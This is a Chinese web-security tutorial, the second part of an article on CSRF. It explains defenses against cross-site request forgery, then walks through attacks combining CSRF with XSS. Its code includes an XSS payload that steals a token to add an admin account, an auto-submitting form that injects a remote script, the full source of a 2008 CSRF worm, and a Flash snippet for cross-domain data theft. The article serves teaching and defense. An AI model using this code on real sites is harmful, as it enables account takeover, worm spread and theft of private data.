邪恶的CSRF !

Posted 红客联盟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了邪恶的CSRF !相关的知识,希望对你有一定的参考价值。


接上一图文邪恶的CSRF (1)!


0x06 CSRF的防御


           前面我们了解了这么多有关CSRF攻击的东西,目的是为了明白如何防御CSRF攻击(真的是这样吗?...)。


           要防御CSRF攻击,我们就要牢牢抓住CSRF攻击的几个特点。



           不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。


           第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:


  1. 添加验证码;

  2. 使用一次性token。


           先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。


           再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用javascript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。


           但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。


           除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。


           总结一下上面的防御方法如下:


  1. 验证Referer;

  2. 使用验证码;

  3. 使用CSRF token;

  4. 限制Session生命周期。


           其中第四种属于缓解类方法,就不多说了。我们看一下其他三种方法都分别存在什么弊病。


           Referer最大弊病:有些请求不带Referer;


           验证码最大弊病:影响用户体验;


           CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。


           那么有没有其它的办法能够有效地防御CSRF攻击呢?xeye团队的monyer提出了下面这样的方法:


           原理与token差不多:当表单提交时,用JavaScript在本域添加一个临时的Cookie字段,并将过期时间设为1秒之后在提交,服务端校验有这个字段即放行,没有则认为是CSRF攻击。


           前面提到,token之所以可以防御CSRF,是因为攻击者无法使用JavaScript获取外域页面中的token值,必须要遵守同源策略;而临时Cookie的原理是:Cookie只能在父域和子域之间设置,也遵守同源策略,攻击者无法设置该Cookie。


           下面看一个简单的demo,前端http://127.0.0.1:8888/test.html


<html>
    <script>
        function doit() {
            var expires = new Date((new Date()).getTime()+1000);
            document.cookie = "xeye=xeye; expires=" + expires.toGMTString();
        }
    </script>
    <form action="http://127.0.0.1:8888/test.php" name="f" id="f" onsubmit="doit();" target="if1">
        <input type="button" value="normal submit" onclick="f.submit();">
        <input type="button" value="with token" onclick="doit();f.submit();">
        <input type="submit" value="hook submit">
    </form>
    <iframe name="if1" id="if1"></iframe>
</html>


服务端http://127.0.0.1:8888/test.php:


<?php
echo "<div>Cookies</div>";
var_dump($_COOKIE);
?>


           前端test.html页面中有三个按钮:第一个是正常的表单提交;第二个是添加临时Cookie后提交表单;第三个是以hook submit事件来添加临时Cookie并提交。


           我们来演示一下效果,test.html页面如图:

邪恶的CSRF (2)!

normal submit之后:

邪恶的CSRF (2)!

           看到只有xampp设置的一个Cookie,试一下with token按钮:

邪恶的CSRF (2)!

           看到我们提交的Cookie中多出了一个名为“xeye”的Cookie,再试一下hook submit:

邪恶的CSRF (2)!

          效果和第二个相同。


          通过上面的演示,我们可以看到设置临时Cookie的效果。


          不过这种方式只适用于单域名的站点,或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的(通过设置当前域为父域的方式),所以这种方法的缺点也比较明显:这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交(注意:使用token可能也会有这样的问题,马上说到)。但如果对于单域站点而言,这种防御方法的安全性可能会略大于token。


对于这种防御方式的几个小疑问:


  1. 网络不流畅,有延迟会不会导致Cookie失效?这个显然是不会的,因为服务端Cookie是在提交请求的header中获得的。延时在服务端,不在客户端,而1秒钟足可以完成整个表单提交过程。


  2. Cookie的生成依赖于JavaScript,相当于这个token是明文的?这是肯定的,不管采用多少种加密,只要在客户端,就会被破解,不过不管怎样,CSRF无法在有用户状态的情况下添加这个临时Cookie字段(同源策略)。虽然通过服务端可以,但是无法将当前用户的状态也带过去(即攻击者尝试在自己的中转服务器上添加临时Cookie,但是这种做法背离CSRF攻击的目的了,因为受害者的Cookie(认证信息)不会发到攻击者的中转服务器上啊…顺便说一句,Referer也是同样的道理)。


  3. 如果由于某种网络问题无法获取Cookie呢?那么保存用户状态的Cookie当然也无法获取了,用户只能再重新提交表单才可以,这就与CSRF无关了。


          由于这种防御策略还没有被大规模使用,所以无法确定其是否真实有效。不过如果有效的话,这大概是一种最简单的、对代码改动最小,且对服务器压力也最小的防御CSRF的方法。


          在攻击方法中我们详细讲解了JSON HiJacking,那么针对这种特定的CSRF攻击方法,我们有没有什么特定的防御方法呢?


          当然有了,这里介绍两种:


1)在返回的脚本开始部分加入“while(1);”:


          当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时,其攻击代码会陷入死循环中,无法将敏感信息发送到自己的服务器上,这样就防止了信息泄露;而正常的客户端代码可以正确地处理返回的JSON数据,它可以先将“while(1);”去掉再正常处理。


          这样做相比较与其他方式CSRF的方法有一个突出的好处,即不依赖浏览器的边界安全策略,而是在代码级别引入保护机制。


          Google的部分服务就采取了这种防御方法,具体内容可以参考下面的链接:

http://stackoverflow.com/questions/2669690/why-does-google-prepend-while1-to-their-json-responses


2) 使用POST表单提交的方式获取JSON数据:


          当前端可以使用XMLHttpRequest获取JSON数据时,当然也可以使用POST表单的方式完成这项任务,这样的话攻击者就无法使用script标签来获取JSON数据(因为src属性发出的是GET请求)。


          纵观这些CSRF的防御方法,无一不是针对CSRF攻击成立的条件进行破坏,这也是“未知攻,焉知防”道理的体现。我们在对自己的网站进行防御的时候,要根据自己的业务场景,选择一个最合适的防御方案。


0x07 结合XSS的CSRF攻击


          前面我们说到了基于CSRF的攻击,讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是:如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。


          为什么说XSS是CSRF的“黄金搭档”呢?因为当XSS存在时,我们往往可以利用它来突破目标站点对CSRF攻击的防护;还有一些情况,比如我们可以找到一些“SELF-XSS”,即只能跨自己,那么如果可以CSRF的话,就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。


下面我们举例说明:


1) 利用XSS窃取token之后发起CSRF攻击


          以前面0x05中的第一个例子为例,我们的目标是进入后台。


          加入添加管理员的POST请求如下(加入了token):


POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…


          那么我们就不能直接构造出攻击页面了,因为token的值我们无法预测,一般情况下我们也无法得到token的值,但我们假设,在给管理员留言的地方存在XSS漏洞,但是管理员的Cookie加了HttpOnly属性,我们无法通过XSS直接获取管理员的Cookie,那该怎么办呢?我们可以把这两个漏洞结合起来利用。


          我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码:


<script>
    var frameObj = document.createElement("iframe");
    frameObj.setAttribute("id", "add");
    document.body.appendChild(frameObj);
    document.getElementById("add").src = "admin.php?c=admin&f=save";
    var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //从iframe中的页面中获取token值
    var xmlhttp;
    if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else { // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.open("POST", "admin.php?c=admin&f=save", true);
    xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //带上token提交添加管理员的请求
</script>


          代码很好理解,首先我们通过iframe的方式嵌入含有token的页面,因为同域,所以我们可以对页面中的DOM进行读写操作,所以顺利取得token;然后我们利用AJAX的方式带上token提交添加管理员的请求,我们依靠XSS成功突破了页面对CSRF攻击的防护。


2) 结合CSRF发起XSS攻击

(实例来源:百度某站可结合CSRF及XSS劫持账号


          在百度词典-我的词典处,有将生词添加进生词本的功能,在备注的时候没有进行过滤,可以直接插入JavaScript代码。


          但这显然是一个“SELF-XSS”,只能跨自己,有什么用呢?


          再看看,页面似乎没有对CSRF做防护,那么我们是不是可以利用CSRF来触发这个XSS,让别人跨自己呢?


          构造POST请求页面如下:


<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body>
    <form id="baidu" name="baidu" action="http://dict.baidu.com/wordlist.php" method="POST">
        <input type="text" name="req" value="add" />
        <input type="text" name="word" value="Wooyun" />
        <input type="text" name="explain" value="<script src=http://xsserme></script>" />
        <input type="submit" value="submit" />
    </form>
    <script>
        document.baidu.submit();
    </script>
</body>
</html>


          诱惑受害者访问该页面,效果如图:

邪恶的CSRF (2)!

看看生词本:

邪恶的CSRF (2)!

          已经成功添加了一个新单词“Wooyun”,到我们的XSS平台上看看备注中的JavaScript代码有没有执行:

邪恶的CSRF (2)!

邪恶的CSRF (2)!

代码成功执行!


           由此可以看到,如果能够将XSS攻击和CSRF攻击结合起来,会产生1+1>2的效果。


0x08 CSRF蠕虫


说说蠕虫。


蠕虫有两大特征:


1) 传播性;

2) 恶意行为。


           蠕虫的恶意行为是由其传播性引起的,也就是说,凡是传播可以做的事,蠕虫基本上都可以做,而且还可以做些和特定蠕虫有关的事,比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息(CSRF的危害之一嘛)。


           所以,我们主要研究CSRF蠕虫的传播性。


           CSRF蠕虫的传播性如何实现呢?在前面我们提到过,CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易,但实施起来恐怕还要多考虑一些东西。


           仔细想想,在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题:蠕虫面对的是不同的用户,而不仅仅是某一个受害者。那对于不同的用户,其对应的请求(CSRF核心:伪造的请求嘛)会不会有些地方不一样呢?


           没错,在之前的CSRF攻击中,我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后,我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测,但是对于不同的用户,其对应的请求参数是不一样的,我们无法像前面的攻击那样构造攻击页面,必须想办法获取这些标识不同用户的数据。


方法一:利用服务端脚本获取


           在这里,我们构造的攻击页面不是一个简单的.html文件了,而是一个服务端脚本,如php、asp等等。


           受害者的标识信息,如用户id等,经常出现在url中,这样我们就可以利用服务端脚本来获取请求的Referer中的用户id,以此为基础构造出html+js的攻击页面,在攻击向量中添加我们服务端脚本的链接,以此造成蠕虫传播的效果。


方法二:利用JSON HiJacking技术获取


           JSON HiJacking的攻击方法前面已经讲得很详细了,如果网站上提供了这样的获取数据的接口,那么利用这种技术获取用户的隐私信息是一个不错的方法。


           综上所述,如果一个SNS网站上存在CSRF漏洞,并且我们有办法获取到用户的标识信息,那么就满足了CSRF蠕虫传播的条件,这个网站就是可蠕虫的。


下面看一个CSRF蠕虫实例:


           这是2008年发起的一次针对译言网(www.yeeyan.org)的CSRF蠕虫攻击,攻击者的链接为http://www.evilsite.com/yeeyan.asp,服务端脚本yeeyan.asp内容如下:


<%
'auther: Xlaile
'data: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com        

r = Request.ServerVariables("HTTP_REFERER")
'获取用户的来源地址,如:http://www.yeeyan.com/space/show/hving        

If InStr(r, "http://www.yeeyan.com/space/show") > 0 Then
   'referer判断,因为攻击对象为yeeyan个人空间留言板,就是这样的地址        

   Function regx(patrn, str)
       Dim regEx
       Dim Match
       Dim Matches
       Set regEx        = New RegExp
       regEx.Pattern    = patrn
       regEx.IgnoreCace = True
       regEx.Global     = True
       Set Matches      = regEx.Execute(str)    

       For Each Match in Matches
           RetStr          = RetStr & Match.Value & " | "
       Next    

       regx             = RetStr
   End Function    

   Function bytes2BSTR(vIn)
       Dim strReturn
       Dim i1
       Dim ThisCharCode
       Dim NextCharCode
       strReturn      = ""    

       For i1 = 1 To LenB(vIn)
           ThisCharCode  = AscB(MidB(vIn,i1,1))    

           If ThisCharCode <  & H80 Then
               strReturn    = strReturn & Chr(ThisCharCode)
           Else
               NextCharCode = AscB(MidB(vIn,i1 + 1,1))
               strReturn    = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode))
               i1           = i1 + 1
           End If    

       Next    

       bytes2BSTR = strReturn
       End
       id         = Mid(r,34) '获取用户标识ID,如:hving
       furl       = "http://www.yeeyan.com/space/friends/" + id '用户好友列表链接是这样的
       Set http   = Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件
       http.Open "GET",furl,False '同步,GET请求furl链接
       http.Send '发送请求
       ftext  = http.ResponseText '返回请求结果,为furl链接对应的HTML内容
       fstr   = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
       '正则获取被攻击用户的所有好友的ID值,CSRF留言时需要这个值
       farray = Split(fstr , " | ")
       '下面几句就是对获取到的ID值进行简单处理,然后扔进f(999)数组中
       Dim f(999)    

       For i = 0 To UBound(farry) - 1
           f(i)    = Mid(farray(i),6,Len(farray(i)) - 16)
       Next    

       Set http = Nothing    

       s        = ""    

       For i = 0 To UBound(farray) - 1
           s       = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表,使用iframe发起CSRF攻击
       Next    

       Response.Write(s)    

       ' Set http=Server.CreateObject("Microsoft.XMLHTTP")        

       ' http.open "POST","http://www.yeeyan.com/groups/newTopic/",False        

       ' c = "hello"        

       cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)    

       ' http.send cc        

   End If    
%>


其中yeeyan_iframe.asp代码如下:


<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
'id = Request("id")    

s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"    

s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>    

s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"    

s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>    

s = s+"</form>"    

s = s+"<script>document.forms[0].submit();</script>"    

Response.write(s)    

%>


           这段代码只具备传播性,属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到,攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码,用来具体发起CSRF攻击。当用户登录译言网,并且点击攻击者的链接后,这个CSRF蠕虫就会开始传播。


0x09 还有什么东西?


           写到这里,我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候,我一直在有意回避一个东西,那就是在现在的Web前端仍然占有重要地位的Flash,以及ActionScript脚本。


           这里就简单补充一下,这些东西和CSRF攻击有什么联系。


           首先,我们必须先介绍一个文件——crossdomain.xml,次文件通常在网站的根目录下存在,比如http://www.qq.com网站上的crossdomain.xml文件内容如下:

邪恶的CSRF (2)!

            https://www.baidu.com网站上的crossdomain.xml文件内容如下:

          该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”,则表示任何与的Flash都可以访问,这是非常危险的。当存在这样的配置时,攻击者可以利用ActionScript脚本轻松突破同源策略的限制,如下:


import flash.net. *
//请求隐私数据所在页面   
 
var loader = new URLLoader(new URLRequest(http: //www.foo.com/private);   
 
loader.addEventListener(Event.COMPLETE, function() { //当请求完成后   
    loader.data; //获取到隐私数据   
    //更多操作   
});
 
Loader.load(); //发起请求


          当通过身份认证的受害者被诱惑访问含有以上脚本的页面时,其隐私将可能被攻击者盗走。


          除此之外,这种跨域获取信息的方法还可以应用在CSRF蠕虫之中,同样是在2008年,饭否(www.fanfou.com)就被基于Flash的CSRF蠕虫攻击,当时包含饭否CSRF蠕虫的Flash游戏界面如下:

0x10 结束



          由于水平有限,本文写到这里就差不多结束了,里面是我对CSRF几乎所有的认知,包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是,文中有许多内容来自《Web前端黑客技术解密》这本书。



开拓进取的精神
坚持正义
它是一种热爱祖国
红客是一种精神
红客联盟
微信号:cnhonker_huc
网址:www.cnhonker.com


以上是关于邪恶的CSRF !的主要内容,如果未能解决你的问题,请参考以下文章

如果没有同源策略,一个邪恶的网站可以读取 CSRF 令牌吗?

为啥预检 CORS 不阻止 CSRF 攻击?

什么是CSRF跨站请求伪造?(from表单效验csrf-ajdax效验csrf-Ajax设置csrf-CBV装饰器验证csrf)

什么是CSRF攻击?

$_csrf.parameterName 和 $_csrf.token 返回 null

Spring Security - CSRF - 如何重置 CSRF 令牌并记录潜在的 CSRF 攻击(OWASP 推荐)